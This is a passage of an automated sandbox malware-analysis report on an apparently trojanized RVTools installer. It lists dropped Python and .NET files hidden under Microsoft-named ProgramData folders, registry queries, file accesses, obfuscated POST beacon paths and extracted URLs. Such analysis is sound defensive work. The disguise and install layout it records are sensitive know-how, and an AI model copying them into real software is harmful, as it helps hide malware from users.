"Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\error.py]- [targetUID: 00000000-00001196] "runtime_spec.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\util\runtime_spec.py]- [targetUID: 00000000-00001196] "lock.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\lock.py]- [targetUID: 00000000-00001196] "clr_error.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\clr_error.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\__init__.py]- [targetUID: 00000000-00001196] "clr.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr.py]- [targetUID: 00000000-00001196]4d:T5c7,"start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CCG"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\START.EXE"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\PROPERTIES"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "start.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "")4e:T917,"Unicode.Data.Automation.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\Unicode.Data.Automation.dll]- [targetUID: 00000000-00001196] "python312.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\python312.dll]- [targetUID: 00000000-00001196] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\libcrypto-3.dll]- [targetUID: 00000000-00001196] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\sqlite3.dll]- [targetUID: 00000000-00001196] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\libssl-3.dll]- [targetUID: 00000000-00001196] "Python.Runtime.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pythonnet\runtime\Python.Runtime.dll]- [targetUID: 00000000-00001196] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\python3.dll]- [targetUID: 00000000-00001196] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\vcruntime140_1.dll]- [targetUID: 00000000-00001196] "ClrLoader.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 Mono/.Net assembly 4 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\ffi\dlls\amd64\ClrLoader.dll]- [targetUID: 00000000-00001196] "ClrLoader.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 Mono/.Net assembly 4 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\ffi\dlls\x86\ClrLoader.dll]- [targetUID: 00000000-00001196] "nsExec.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nsgDF58.tmp\nsExec.dll]- [targetUID: 00000000-00001196]4f:Tc40,"start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "IDLETIMERWINDOW"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "DISABLEDOUBLEQUERYSDBS"; Value: "")50:T484,"start.exe" trying to touch file "C:\Windows\System32\mscoree.dll" "start.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "start.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\start.exe" "start.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "start.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "start.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "start.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "start.exe" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "start.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "start.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "start.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "start.exe" trying to touch file "C:\Windows\System32\imm32.dll" "start.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\CRYPTSP.DLL" "start.exe" trying to touch file "C:\WINDOWS\SYSTEM32\CRYPTSP.DLL" "start.exe" trying to touch file "C:\Windows\System32\cryptsp.dll"51:T838,"start.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\CRYPTSP.DLL" "start.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "start.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "start.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "start.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "start.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "start.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "start.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "start.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\msiexec.exe" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\msiexec.exe" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\Unicode.Data.Automation.dll" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\UsbService86.exe" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\libcrypto-3.dll" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\libffi-8.dll" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\libssl-3.dll" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python.exe"52:T6ab,"start.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "start.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\start.exe.config" "start.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "start.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\start" "start.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\start.INI" "start.exe" trying to access non-existent file "STORAGE#Volume#{5781f570-2b3b-11ee-88a5-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}" "start.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\files\RVtools-4.7.0.2.exe:Zone.Identifier" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\Windows\SystemResources\USER32.dll.mun" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\rvtools.msi" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\Cert.txt" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\_asyncio.pyd" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\_bz2.pyd" "RVtools-4.7.0.2.exe" trying to access non-existent file "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\_cffi_backend.cp312-win_amd64.pyd"53:T50b,Found http requests in header "POST //Ozt6OhXe4DHCP/" Found http requests in header "POST //EvgHgjJpcJXFDwE/" Found http requests in header "POST //GYKZPQC/" Found http requests in header "POST //44eQJ0s/" Found http requests in header "POST //nLriCsXJRY0pjU4/" Found http requests in header "POST //iecDFWSMaCxpk/" Found http requests in header "POST //hPtHsocy0bcT360/" Found http requests in header "POST //NN/" Found http requests in header "POST //ry4EIsEtVHR/" Found http requests in header "POST //r74NbQ1c/" Found http requests in header "POST //gWv3tvls/" Found http requests in header "POST //E73ib/" Found http requests in header "POST //CLWkKQif3TyoNex/" Found http requests in header "POST //yuJfqa5/" Found http requests in header "POST //4zE6wjXfPm/" Found http requests in header "POST //uMvizRgKWrm/" Found http requests in header "POST //YWk3LtlsTlh/" Found http requests in header "POST //VCO16JdjFVgrek/" Found http requests in header "POST //V5XnxYLTue5I/" Found http requests in header "POST //in1r8lCvwlvYh8/" Found http requests in header "POST //TqdRIC/" Found http requests in header "POST //Mgu/" Found http requests in header "POST //grVkfNP5YbS/" Found http requests in header "POST //Rv6/" Found http requests in header "POST //ReK8LTc/"54:T709,file/memory contains long string with (Indicator: " socket "; File: "_socket.pyd") file/memory contains long string with (Indicator: " connect "; File: "_socket.pyd") file/memory contains long string with (Indicator: " bind "; File: "_socket.pyd") file/memory contains long string with (Indicator: " socket "; File: "_overlapped.pyd") file/memory contains long string with (Indicator: " socket "; File: "select.pyd") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00007744-00000C2C-3167008052") Found reference to API "Please take a moment to read the license agreement now. If you accept the terms below, click "I Agree", then "Next". Otherwise click "Cancel"." (Indicator: " accept "; Source: "00000000-00001196.00000000.263272.00DE0000.00000002.mdmp, 00000000-00001196.00000001.265194.00DE0000.00000002.mdmp, 00000000-00001196.00000002.267111.00DE0000.00000002.mdmp") Found reference to API "All functions which accept a handle object also accept an integer --" (Indicator: " accept "; Source: "00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp") Found reference to API "Please take a moment to read the license agreement now. If you accept the terms below, click "I Agree", then "Next". Otherwise click "Cancel"." (Indicator: " accept "; Source: "00000000-00007744.00000000.264689.611E0000.00000002.mdmp, 00000000-00007744.00000001.266610.611E0000.00000002.mdmp, 00000000-00007744.00000002.268528.611E0000.00000002.mdmp") Found reference to API "used with a socket or two-way pipe." (Indicator: " socket "; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp")55:T1ffa,Heuristic match: "ytu.pk" Pattern match: "www.exemsi.com" Pattern match: "http://nsis.sf.net/nsis_error" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0qxhb%p?9s'q53v]?y:w!9ad+q" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0" Pattern match: "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "http://www.w3.org/xml/1998/namespacecdatandatanotationentitypublicpcdatasystemdoctypeelementimpliedattlistversionutf-16" Pattern match: "http://www.w3.org/xml/1998/namespacecdatanotation" Pattern match: "www.memtest86.com" Pattern match: "https://eli.thegreenplace.net/]#" Pattern match: "http://bugs.python.org/issue28401" Pattern match: "https://github.com/pythonnet/clr-loader/issues/8" Pattern match: "https://www.freedesktop.org/wiki/software/pkg-config/" Pattern match: "http://cffi.readthedocs.io/en/latest/cdef.html#ffi-cdef-limitations" Heuristic match: "%windir%\assembly\nativeimages_v4.0.30319_64\microsoft.we0722664#\5b6dc6ced38a636165cb1ed15c9505e5\microsoft.wsman.management.ni" Pattern match: "https://a.nel.cloudflare.com/" Pattern match: "www.digicert.com1!0" Pattern match: "http://ocsp.digicert.com0a" Pattern match: "cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "crl3.digicert.com/digicerttrustedrootg4.crl0" Pattern match: "crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0s" Pattern match: "crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0" Pattern match: "http://www.digicert.com/cps0" Pattern match: "http://ocsp.digicert.com0\" Pattern match: "cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" Pattern match: "crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0" Pattern match: "http://ocsp.digicert.com0x" Pattern match: "cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0" Pattern match: "www.digicert.com1$0" Pattern match: "http://ocsp.digicert.com0c" Pattern match: "cacerts.digicert.com/digicertassuredidrootca.crt0e" Pattern match: "crl3.digicert.com/digicertassuredidrootca.crl0" Heuristic match: "clr.py" Heuristic match: "python.cat" Heuristic match: "__init__.py" Heuristic match: "_imp_emulation.py" Heuristic match: "_shimmed_dist_utils.py" Heuristic match: "api.py" Heuristic match: "backend_ctypes.py" Heuristic match: "cffi_opcode.py" Heuristic match: "commontypes.py" Heuristic match: "cparser.py" Heuristic match: "error.py" Heuristic match: "ffiplatform.py" Heuristic match: "lock.py" Heuristic match: "model.py" Heuristic match: "pkgconfig.py" Heuristic match: "recompiler.py" Heuristic match: "setuptools_ext.py" Heuristic match: "vengine_cpy.py" Heuristic match: "vengine_gen.py" Heuristic match: "verifier.py" Heuristic match: "hostfxr.py" Heuristic match: "mono.py" Heuristic match: "netfx.py" Heuristic match: "clr_error.py" Heuristic match: "coreclr_errors.py" Heuristic match: "find.py" Heuristic match: "hostfxr_errors.py" Heuristic match: "runtime_spec.py" Heuristic match: "_ast_gen.py" Heuristic match: "_build_tables.py" Heuristic match: "ast_transforms.py" Heuristic match: "c_ast.py" Heuristic match: "c_generator.py" Heuristic match: "c_lexer.py" Heuristic match: "c_parser.py" Heuristic match: "lextab.py" Heuristic match: "plyparser.py" Heuristic match: "yacctab.py" Heuristic match: "cpp.py" Heuristic match: "ctokens.py" Heuristic match: "lex.py" Heuristic match: "yacc.py" Heuristic match: "ygen.py" Heuristic match: "xtract: cffi_opcode.py" Heuristic match: "xtract: api.py" Heuristic match: "xtract: clr.py" Heuristic match: "xtract: __init__.py" Heuristic match: "xtract: hostfxr.py" Heuristic match: "xtract: mono.py" Heuristic match: "xtract: error.py" Heuristic match: "xtract: lock.py" Heuristic match: "xtract: cparser.py" Heuristic match: "xtract: python.cat" Heuristic match: "xtract: netfx.py" Heuristic match: "xtract: types.py" Heuristic match: "xtract: model.py" Heuristic match: "xtract: find.py" Heuristic match: "xtract: c_ast.py" Heuristic match: "xtract: c_lexer.py" Heuristic match: "xtract: lextab.py" Heuristic match: "xtract: yacctab.py" Heuristic match: "??\c:\programdata\microsoft\appupdate\systeminfo\pycparser\ast_transforms.py" Heuristic match: "xtract: vengine_gen.py" Heuristic match: "xtract: verifier.py" Heuristic match: "xtract: vengine_cpy.py" Heuristic match: "xtract: c_parser.py" Heuristic match: "xtract: plyparser.py" Heuristic match: "xtract: c_generator.py" Heuristic match: "xtract: _ast_gen.py" Heuristic match: "xtract: commontypes.py" Heuristic match: "xtract: pkgconfig.py" Heuristic match: "xtract: ffiplatform.py" Heuristic match: "xtract: recompiler.py" Heuristic match: "xtract: clr_error.py" Heuristic match: "xtract: ast_transforms.py" Heuristic match: "xtract: runtime_spec.py" Heuristic match: "xtract: setuptools_ext.py" Heuristic match: "xtract: hostfxr_errors.py" Heuristic match: "xtract: coreclr_errors.py" Heuristic match: "xtract: _build_tables.py" Heuristic match: "xtract: backend_ctypes.py" Heuristic match: "xtract: _imp_emulation.py" Heuristic match: "xtract: cpp.py" Heuristic match: "xtract: lex.py" Heuristic match: "xtract: _shimmed_dist_utils.py" Heuristic match: "??\c:\programdata\microsoft\appupdate\systeminfo\pythonnet\__init__.py" Heuristic match: ":\programdata\microsoft\appupdate\systeminfo\pythonnet\__init__.py" Heuristic match: "??\c:\programdata\microsoft\appupdate\systeminfo\pycparser\ply\ygen.py" Heuristic match: ":\programdata\microsoft\appupdate\systeminfo\pycparser\ply\ygen.py" Heuristic match: ":\programdata\microsoft\appupdate\systeminfo\pycparser\ply\lex.py" Heuristic match: "xtract: ctokens.py" Heuristic match: "xtract: yacc.py" Heuristic match: "xtract: ygen.py" Heuristic match: "??\c:\programdata\microsoft\appupdate\systeminfo\clr_loader\util\runtime_spec.py" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "ws\microsoft.net" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Heuristic match: "pathext=.co" Pattern match: "myimport.zip/mydirectory" Heuristic match: "c:\programdata\microsoft\systemweb\systeminfo\lib\io.py" Heuristic match: "c:\programdata\microsoft\systemweb\systeminfo\lib\zipimport.py" Heuristic match: "c:\programdata\microsoft\systemweb\systeminfo\lib\importlib\_bootstrap_external.py" Heuristic match: "\__init__.py" Heuristic match: "encodings\__init__.py" Heuristic match: "c:\programdata\microsoft\systemweb\systeminfo\lib\codecs.py" Heuristic match: "c:\programdata\microsoft\systemweb\systeminfo\lib\abc.py" Heuristic match: "c:\programdata\microsoft\systemweb\systeminfo\lib\stat.py" Heuristic match: "c:\programdata\microsoft\systemweb\systeminfo\lib\ntpath.py" Heuristic match: "encodings\utf_8.py" Heuristic match: "encodings\cp1252.py" Heuristic match: "at206_obf_fun_web.py" Heuristic match: "enum.py" Heuristic match: "um.py" Heuristic match: "base64.py" Heuristic match: "re\__init__.py"56:T1bb3,Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0a.miko>u\pekh?u!t]qzi^0oh*ppbmi3ls!)geh0" - Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0a7hiw.%x%w" - Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp") Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found URL "http://bugs.python.org/issue23606)po9vreturned" - Source: "00000000-00007744.00000000.264689.63270000.00000004.mdmp") Found URL "http://cffi.readthedocs.io/en/latest/cdef.html" - Source: "00000000-00007744.00000000.264689.63270000.00000004.mdmp") Found URL "https://github.com/eliben/pycparser" - Source: "00000000-00007744.00000000.264689.63370000.00000004.mdmp") Found URL "http://www.dabeaz.com/ply)po9vnonterminals," - Source: "00000000-00007744.00000000.264689.63370000.00000004.mdmp") Found URL "https://cffi.readthedocs.io/en/latest/using.html" - Source: "00000000-00007744.00000000.264689.6DB6C000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportager3ec24indows" - Source: "00000000-00007744.00000001.266610.63180000.00000004.mdmp") Found URL "http://bugs.python.org/issue23606)po9vreturned" - Source: "00000000-00007744.00000001.266610.63270000.00000004.mdmp") Found URL "http://cffi.readthedocs.io/en/latest/cdef.html" - Source: "00000000-00007744.00000001.266610.63270000.00000004.mdmp") Found URL "https://github.com/eliben/pycparser" - Source: "00000000-00007744.00000001.266610.63370000.00000004.mdmp") Found URL "http://www.dabeaz.com/ply)po9vnonterminals," - Source: "00000000-00007744.00000001.266610.63370000.00000004.mdmp") Found URL "https://github.com/pythonnet/pythonnet" - Source: "00000000-00007744.00000001.266610.63572000.00000002.mdmp") Found URL "https://github.com/pythonnet/pythonnetd__15debug!this" - Source: "00000000-00007744.00000001.266610.63572000.00000002.mdmp") Found URL "https://docs.python.org/3/library/collections.abc.htmlimport" - Source: "00000000-00007744.00000001.266610.63572000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00007744.00000001.266610.6718A000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&forceupdatefrommuhttpupdatealtlocationcloudbasedbehaviorblockingsignaturedisablenotificationdisablescheduledsignatureupdateonbatterysignaturecategoryidnissignatureslastupdatedsignatureupdatecatchupintervalenableemergencysigslastemergencysigchecknissignatureversiondeltaupdatefailure%mpconfig_productappdatapath%\definition" - Source: "00000000-00007744.00000001.266610.6718A000.00000002.mdmp") Found URL 